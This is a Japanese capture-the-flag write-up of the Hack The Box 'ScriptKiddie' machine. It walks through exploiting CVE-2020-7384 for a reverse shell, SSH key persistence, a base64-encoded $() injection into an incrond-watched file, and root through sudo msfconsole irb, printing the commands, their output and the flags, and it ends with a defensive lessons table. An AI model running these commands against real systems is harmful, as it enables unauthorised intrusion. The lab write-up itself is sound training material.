Hack The BoxのWriteup(ScriptKiddie)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: ScriptKiddie — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 5000/http (Flask)
→
“k1d’5 h4ck3r t00l5”
APK生成ツール
→
CVE-2020-7384
msfvenom APKテンプレート注入
→
悪意APKアップロード
生成時にコマンド実行
→
リバースシェル → SSH鍵注入
→
kid SSH → user.txt ✓
→
incrond監視ファイル書込
コマンド置換でpwn RCE
→
sudo msfconsole irb
system()でroot.txtコピー
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.95.150
nmap -sV -sC -p 22,5000 10.129.95.150
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
5000/tcp open  upnp    Werkzeug httpd 0.16.1 (Python 3.8.5)

Flaskアプリの確認

BASH
curl -s http://10.129.95.150:5000/ | grep -i title
RESULT
<title>k1d'5 h4ck3r t00l5</title>
ℹ️
「スクリプトキディ(初心者ハッカー)向けツール」という体のFlaskアプリ。 フォームにはos(android/windows/linux等)、lhost、 template等の入力欄があり、内部でmsfvenomを 呼び出してペイロードファイルを生成していると推測できる。
PHASE 2

CVE-2020-7384 — msfvenom APKテンプレートコマンドインジェクション

脆弱性の仕組み

NOTE
CVE-2020-7384は、Metasploit付属のmsfvenomがAndroid APKペイロード生成時に
「テンプレートAPK」(既存の正規APKをベースにペイロードを埋め込む機能)を
指定できる仕組みを悪用する脆弱性。テンプレートとして渡すAPKファイルの
署名用キーストア内のCN(Common Name)フィールドに、シェルコマンドの
区切り文字(例: バッククォートや$())を仕込んだ悪意ある文字列を
設定しておくと、msfvenomがそのAPKを再署名する過程(jarsigner/keytool等の
呼び出し)でCN値がシェルコマンドの一部として評価され、
msfvenomを実行しているサーバー側(=このFlaskアプリ)でコマンドが実行される。

このマシンのFlaskアプリは、ユーザーがアップロードした「テンプレート」
ファイルをそのままmsfvenomの-xオプションへ渡してAPKを生成する機能を
持つため、悪意あるテンプレートAPKをアップロードするだけでFlaskアプリの
実行ユーザー権限(kid)でリモートコード実行が可能になる。

悪意あるテンプレートAPKの生成

BASH (Kali側、Metasploitの公式エクスプロイトモジュールを使用)
msfconsole -q -x "
use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection;
set LHOST 10.10.15.200;
set LPORT 6391;
set PAYLOAD android/meterpreter/reverse_tcp;
run;
exit"
RESULT
[+] msf.apk stored at /root/.msf4/local/msf.apk (1663 bytes)
ℹ️
このモジュールは「CNフィールドにコマンドインジェクションペイロードを 仕込んだ悪意あるテンプレートAPK」自体を生成してくれる。生成されたAPK 自体がペイロードであり、ターゲットのFlaskアプリへアップロードする 「テンプレート」として使う(Androidデバイスへインストールするわけではない)。

リスナー起動 & APKアップロード

BASH (ターミナル1: リバースシェル用リスナー)
nc -lnvp 6391
BASH (ターミナル2: Flaskフォームへ悪意テンプレートAPKをアップロード)
curl -s -X POST http://10.129.95.150:5000/ \
  -F "os=android" \
  -F "lhost=10.10.15.200" \
  -F "lport=6391" \
  -F "template=@msf.apk" \
  -F "action=generate"
✅
RCE成功! Flaskアプリがアップロードされたテンプレートを 使って内部でmsfvenomを実行した瞬間、仕込んだCN値内の コマンドが評価され、kidユーザー権限のリバースシェルが Kaliのリスナーへ接続してきた。
PHASE 3

SSH公開鍵注入 & user.txt取得

リバースシェル経由でSSH鍵を永続化

BASH (nc受信したリバースシェル上で実行)
mkdir -p ~/.ssh
echo "ssh-rsa AAAA...(Kali側で生成した公開鍵)... root@kali" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
ℹ️
msfvenomコマンドインジェクション由来のリバースシェルは非対話的で 不安定なことが多いため、確立した瞬間に自分のSSH公開鍵を authorized_keysへ追記し、安定したSSH接続へ切り替える。

SSHログイン & user.txt取得

BASH
ssh -i id_rsa_sk kid@10.129.95.150 "id; cat /home/kid/user.txt"
RESULT (本検証の実際の出力)
uid=1000(kid) gid=1000(kid) groups=1000(kid)
92befba5b05665b4fe00eba6447bb362
user.txt — kid
92befba5b05665b4fe00eba6447bb362
PHASE 4

incrond 監視ファイル経由の横移動 & sudo msfconsole irb でroot化

incrond設定の発見

NOTE
incrond(inotifyベースのcron相当デーモン)が root 権限で稼働しており、
/etc/incron.d/ 等の設定によって /home/kid/logs/hackers ファイルへの
書き込みをトリガーに、pwnユーザー権限で /home/pwn/scanlosers.sh を
自動実行する設定になっている。scanlosers.shの内部ロジックは
おおよそ以下のような構造:

  ip=$(tail -1 /home/kid/logs/hackers | awk '{print $3}')
  sh -c "nmap -sV -oN ... $ip"

つまりhackersファイルの3カラム目の値がシェルの文字列展開内に
そのまま埋め込まれるため、$()コマンド置換を含む値を書き込めば
pwnユーザー権限で任意コマンドが実行できる。
BASH (SSHシェル上で実行、設定内容の確認)
cat /etc/incron.d/*
cat /home/pwn/scanlosers.sh

root化用ヘルパースクリプトの配置

NOTE
pwnユーザーは sudo で Metasploitフレームワーク(msfconsole)を
パスワード無しで実行できる。msfconsoleの irb (対話型Rubyコンソール)
サブコマンドへパイプ経由でRubyコードを送り込み、system()呼び出しで
root権限のシェルコマンドを実行させる。msfconsole自体の起動には
約30〜60秒かかる。
BASH (SSHシェル上で実行、/home/kid/logs/ はincron.serviceのPrivateTmp制約を 受けない共有ファイルシステムであるためここに配置する)
cat > /home/kid/logs/run_msf_irb.sh <<'EOF'
#!/bin/bash
printf '%s\n' 'system("cp /root/root.txt /home/pwn/r00t.txt && chmod 644 /home/pwn/r00t.txt")' \
  | sudo /opt/metasploit-framework-6.0.9/msfconsole -q -x 'irb' > /home/pwn/msf_irb_out.txt 2>&1
EOF
chmod 755 /home/kid/logs/run_msf_irb.sh
⚠️
実装上の注意: incron.serviceはsystemdの PrivateTmp=yes設定で動くため、/tmp配下に 置いたファイルはincrondがトリガーするコマンドからは見えない (隔離された名前空間のため)。ヘルパースクリプトは必ず /home/kid/logs/のような共有ファイルシステム上に 配置すること。

incrond監視ファイルへの書込でトリガー

BASH (SSHシェル上で実行)
echo $'a b $(bash -c \'echo YmFzaCAvaG9tZS9raWQvbG9ncy9ydW5fbXNmX2lyYi5zaA==|base64 -d|bash\') x' \
  > /home/kid/logs/hackers
⚠️
実装上の注意: ANSI-Cクォート($'...')を使い、 直接ファイルへリダイレクト(>)で書き込む 必要がある——パイプ(|)経由の書込みはinotifyの IN_CLOSE_WRITEイベントを正しく発火させずincrondが反応しない ことがある。コマンド本体はbase64エンコードして bash -c 'echo |base64 -d|bash'の形でネストさせることで、 クォート文字の衝突を回避しつつrun_msf_irb.shを確実に起動する。
BASH (数十秒待ってから結果を確認)
sleep 30
cat /home/pwn/r00t.txt
RESULT (本検証の実際の出力)
68e89263a8f72ffba4c8db8431870d4a
✅
root化成功! incrondがpwnユーザー権限で run_msf_irb.shを実行し、その中のsudo msfconsole -x irbが system()呼び出しをroot権限で実行、/root/root.txtを pwnが読めるパスへコピーした。
root.txt — incrond注入 → sudo msfconsole irb system()
68e89263a8f72ffba4c8db8431870d4a
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — kid
92befba5b05665b4fe00eba6447bb362
root.txt — incrond注入 → sudo msfconsole irb system()
68e89263a8f72ffba4c8db8431870d4a

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2020-7384 msfvenom APKテンプレート処理 (Flaskアプリ経由) リモートコード実行 (kidユーザー) Critical テンプレートAPKのCNフィールドに仕込んだコマンドが再署名処理時に実行される
incrond監視ファイルのシェルコマンド置換 /home/kid/logs/hackers → scanlosers.sh 横移動 (pwnユーザー権限での実行) High $()コマンド置換を含む値を書き込みnmap呼び出しを乗っ取る
sudoで無制限実行可能なmsfconsole /opt/metasploit-framework-6.0.9/msfconsole (pwn, NOPASSWD) 権限昇格 (root) Critical irbサブコマンドへRubyコードをパイプしsystem()でroot権限コマンド実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap, Flask “ハッキングツール”アプリ発見22/ssh, 5000/http(Flask)
2RCECVE-2020-7384 (msfvenom APKテンプレート)kidユーザーでのリバースシェル
3永続化SSH公開鍵注入user.txt (kid)
4横移動+権限昇格incrond注入 → pwn → sudo msfconsole irbroot.txt

学んだ教訓 & 防御策

問題点防御策
脆弱性のあるMetasploit/msfvenomバージョンを信頼できないユーザー入力(テンプレートファイル)と組み合わせて使用している 既知のCVEに対応済みの最新版へ更新する。外部から渡されたファイルをペイロード生成のテンプレートとして使わない設計にする。
incrondが監視するファイルの内容を検証せずシェルコマンドへ展開している 外部から書き込み可能なファイルの内容は、シェル変数展開やコマンド置換が発生しない形(配列・プレースホルダ等)で安全に扱う。
一般ユーザーがsudoでMetasploit Framework全体を無制限に実行できる sudo権限は業務上必要な最小限のコマンド・オプションに限定し、irb/execのような汎用コード実行機能を持つツールの無制限実行は避ける。
HackTheBox: ScriptKiddie | 完全攻略レポート